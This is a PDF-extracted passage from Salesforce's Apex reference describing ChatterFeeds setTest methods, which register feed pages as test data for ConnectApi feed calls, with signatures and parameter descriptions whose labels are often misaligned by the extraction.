Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

AllUpdatesDisplays all updates from people and records the user follows and groups the user is a member of.

974

Reference

ChatterFeeds Class

FewerUpdatesDisplays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
35.0

975

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.UserProfile.

subjectId

Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedFilter

976

Reference

ChatterFeeds Class

Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
filter)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,

recentCommentCount, elementsPerClump, density, pageParam, pageSize, sortParam,
showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedElementPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String

977

Reference

ChatterFeeds Class

Any record ID, including a group ID.

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

978

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,

recentCommentCount, elementsPerClump, density, pageParam, pageSize, sortParam,
showInternalOnly, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
32.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.

979

Reference

ChatterFeeds Class

density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
filter

Type: ConnectApi.FeedElementPage
The object containing test data.

980

Reference

ChatterFeeds Class

setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,

result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: ConnectApi.FeedElementPage
The object containing test data.

981

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)
Testing ConnectApi Code

setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,

pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

982

Reference

ChatterFeeds Class

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerClump, density, pageParam, pageSize, sortParam,
result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String

983

Reference

ChatterFeeds Class

A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam)
Testing ConnectApi Code

984

Reference

ChatterFeeds Class

setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId,
keyPrefix, recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, result)
Registers a ConnectApi.FeedElementPage object to be returned when the
getFeedElementsFromFilterFeedUpdatedSince method is called in a test context.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFilterFeedUpdatedSince(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerClump,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: String

985

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump,
density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, updatedSince, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedElementPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

986

Reference

ChatterFeeds Class

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, updatedSince, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
32.0

987

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

988

Reference

ChatterFeeds Class

SolvedQuestionsOnly feed elements that are questions and that have a best answer.
UnansweredQuestionsOnly feed elements that are questions and that dont have any answers.
UnsolvedQuestionsOnly feed elements that are questions and that dont have a best answer.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, updatedSince, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

One of these values:

Files
Groups
News
People
Record

989

Reference

ChatterFeeds Class

subjectId

Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Testing ConnectApi Code

990

Reference

ChatterFeeds Class

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

991

Reference

ChatterFeeds Class

updatedSince

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, elementsPerBundle, density, pageParam, pageSize,
updatedSince, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
35.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

992

Reference

ChatterFeeds Class

feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.UserProfile.

subjectId

Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: ConnectApi.FeedElementPage
The object containing test data.

993

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, updatedSince, filter)
Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density

Type: ConnectApi.FeedDensity

994

Reference

ChatterFeeds Class

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, updatedSince, showInternalOnly)
Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
32.0

995

Reference

ChatterFeeds Class

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density

Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
AllUpdatesDisplays all updates from people and records the user follows and groups the user is a member of.
FewerUpdatesDisplays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

996

Reference

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, result)

1000

Reference

ChatterFeeds Class

API Version
28.031.0

Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId)
Testing ConnectApi Code

setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam,

pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
28.031.0

1001

Reference

ChatterFeeds Class

Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Testing ConnectApi Code

1002

Reference

ChatterFeeds Class

setTestGetFeedItemsFromFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
29.031.0

Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer

1003

Reference

ChatterFeeds Class

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItemsFromFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly,
result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
30.031.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

1004

Reference

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed
method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
29.031.0

Signature
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

1008

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId,
keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
updatedSince, result)
Registers a ConnectApi.FeedItemPage object to be returned when the
getFeedItemsFromFilterFeedUpdatedSince method is called in a test context.

API Version
30.031.0

Signature
public static Void setTestGetFeedItemsFromFilterFeedUpdatedSince(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity

1009

Reference

ChatterFeeds Class

density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String

updatedSince, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String

1010

Reference

ChatterFeeds Class

An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token,
call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the
ConnectApi.FeedItemPage response body.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
updatedSince)
Testing ConnectApi Code

setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, updatedSince, ConnectApi.FeedItemPage, results)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
30.031.0

Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedItemPage results)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

1011

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code

setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, updatedSince, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
30.031.0

Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
ConnectApi.FeedItemPage result)

1012

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

One of these values:

Files
Groups
News
People
Record
subjectId

Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: ConnectApi.FeedItemPage
The object containing test data.

1013

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Testing ConnectApi Code

setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
30.031.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

One of these values:

Files
Groups
News
People
Record
subjectId

Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount

Type: Integer

1014

Reference

ChatterFeeds Class

The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Testing ConnectApi Code

setTestGetRelatedPosts(communityId, feedElementId, filter, maxResults, result)

(Beta)
Registers a ConnectApi.RelatedFeedPosts object to be returned when the matching
ConnectApi.getRelatedPosts(communityId, feedElementId, filter, maxResults) method is called

in a test context. Use the method with the same parameters or you receive an exception.
Note: This release contains a beta version of related questions, which means its a high-quality feature with known limitations.
This feature isnt generally available unless or until Salesforce announces its general availability in documentation or in press

1015

Reference

ChatterFeeds Class

releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your purchase
decisions only on the basis of generally available products and features. You can provide feedback and suggestions for related
questions in the Community Implementation group in the Success Community.

API Version
37.0

Signature
public static Void setTestGetRelatedPosts(String communityId, String feedElementId,
ConnectApi.RelatedFeedPostType filter, Integer maxResults, ConnectApi.RelatedFeedPosts
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
